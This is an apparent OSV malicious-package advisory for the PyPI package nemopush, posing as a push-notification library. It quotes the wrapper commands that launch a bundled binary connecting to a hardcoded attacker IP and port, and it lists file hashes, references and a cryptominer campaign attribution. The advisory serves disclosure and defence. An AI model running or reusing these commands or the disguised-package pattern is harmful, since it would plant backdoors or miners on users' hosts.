{"id":"MAL-2026-10866","summary":"Malicious code in nemopush (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (58d2958d0307dfe5b73dc1eef5a46e96c25f94ea31a0b4ab8b43a1878d427d2d)\nThe package advertises itself as 'A push notification package' but ships an ~8.6 MB opaque ELF x86-64 binary named `claude` and a `start.sh` wrapper as package data (declared in pyproject.toml under [tool.setuptools.package-data]). The pypi entry point `nemopush-run` (nemopush.main:run) invokes `subprocess.run([\"bash\", script_path])`, and `start.sh` runs `chmod +x./claude` followed by `./claude --host 45.151.62.119:3361 --user \u003chardcoded per-install token\u003e`. Running the advertised command executes attacker-controlled native code on the installer's host that establishes an outbound connection to a hardcoded bare-IP endpoint, identifying itself with a per-install token — the shape of a remote agent / backdoor. There is no README, no source, no build recipe, no hash or signature for the binary, and the destination is neither the publisher's domain nor version-pinned. The declared 'push notification' purpose does not match shipping and executing an opaque native binary that phones home to a bare IP.\n\n## Source: kam193 (b1717e80fb3423ed246cbcaacb39cfa13526d2f2520a8de1229cd3388e391059)\nIn this campaign, packages use names similar to popular services (e.g. Kimi AI) to deploy cryptominer.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-07-kimichat\n\n\nReasons (based on the campaign):\n\n\n - cryptominer\n","modified":"2026-08-05T07:21:40.873420970Z","published":"2026-07-20T05:15:31Z","database_specific":{"malicious-packages-origins":[{"modified_time":"2026-07-20T05:15:31.253035Z","sha256":"b1717e80fb3423ed246cbcaacb39cfa13526d2f2520a8de1229cd3388e391059","source":"kam193","versions":["0.1.0","0.1.1","0.1.2","0.1.3"],"id":"pypi/2026-07-kimichat/nemopush","import_time":"2026-07-20T06:05:22.556121782Z"},{"sha256":"7729c96b4f8bc781774f790f0e78128e631e0218772c2a4e713a1cd1c7a714b1","source":"kam193","versions":["0.1.0","0.1.1","0.1.2","0.1.3"],"id":"pypi/2026-07-kimichat/nemopush","import_time":"2026-07-20T20:04:39.244601621Z","modified_time":"2026-07-20T05:15:31.253035Z"},{"sha256":"d7f6db34746067c071c225ab6a64ce6a3cbe30b6c51ef69a46973540fd409ced","source":"amazon-inspector","versions":["0.1.1"],"id":"IN-MAL-2026-011224","import_time":"2026-08-04T22:30:05.944117824Z","modified_time":"2026-08-04T21:50:15Z"},{"import_time":"2026-08-04T22:30:03.894358906Z","modified_time":"2026-08-04T21:45:04Z","sha256":"d8cff69298fceebac650ecae87e31b44814b97ed31c78fb406aafb2f1582d673","source":"amazon-inspector","versions":["0.1.3"],"id":"IN-MAL-2026-011187"},{"id":"IN-MAL-2026-011146","import_time":"2026-08-04T22:30:01.75175707Z","modified_time":"2026-08-04T21:39:05Z","sha256":"58d2958d0307dfe5b73dc1eef5a46e96c25f94ea31a0b4ab8b43a1878d427d2d","source":"amazon-inspector","versions":["0.1.2"]},{"id":"IN-MAL-2026-013356","import_time":"2026-08-05T07:06:43.021292083Z","modified_time":"2026-08-05T06:11:31Z","sha256":"27df2abf09b6b353bbd8b9ec9835ce135971e6291fc1f2a3f50944862d062ca8","source":"amazon-inspector","versions":["0.1.0"]}]},"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/nemopush"},{"type":"WEB","url":"https://github.com/newbroughblueogwin/automatic-octo-invention"},{"type":"PACKAGE","url":"https://pypi.org/project/nemopush/0.1.1/"},{"type":"PACKAGE","url":"https://pypi.org/project/nemopush/0.1.3/"},{"type":"PACKAGE","url":"https://pypi.org/project/nemopush/0.1.2/"},{"type":"PACKAGE","url":"https://pypi.org/project/nemopush/0.1.0/"}],"affected":[{"package":{"name":"nemopush","ecosystem":"PyPI","purl":"pkg:pypi/nemopush"},"versions":["0.1.0","0.1.1","0.1.2","0.1.3"],"database_specific":{"indicators":{"evidence_files":[{"path":"start.sh","sha256":"f5d20e216ff38f61a811854e1725cbe279e8810830b8da8f97c1df1ae593841c","tlsh":"d6c08ca786acaa278cc64540b027979389884c11069a2887b2a32c18695e2a0ac2b082"},{"path":"nemopush/main.py","sha256":"a1a34461d7d143e5248e61fc8592e618928f408db144062122a97d29f279aa6a","tlsh":"4f01dd174f891235de87c742c603adf04bea54b3bb42342c38cd84245f626b9496ac6f"}],"package_integrity":[{"filename":"nemopush-0.1.1-py3-none-any.whl","hashes":{"sha256":"ffc3e28cb916413b94e686b796846bacff99718f17cfff10652c31b1b8ce3255","blake2b_256":"32958b2ecf210fddb73a4a02446cced9346ca5b70826a0fdd8349b6ad7700d39","md5":"f831d70737ed3df18a762bee4f715472"}},{"hashes":{"sha256":"9b8fbf73d13a57fc41ac6f3f8459e5150e8276081d0f86d882a556feca58c52d","blake2b_256":"49b395aad97d6aef8f84209dc331169af5045de312ddfcaecc95ce7cb3b3a1ff","md5":"d693b80d519311ca78dbe22280a56d2f"},"filename":"nemopush-0.1.1.tar.gz"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/nemopush/MAL-2026-10866.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}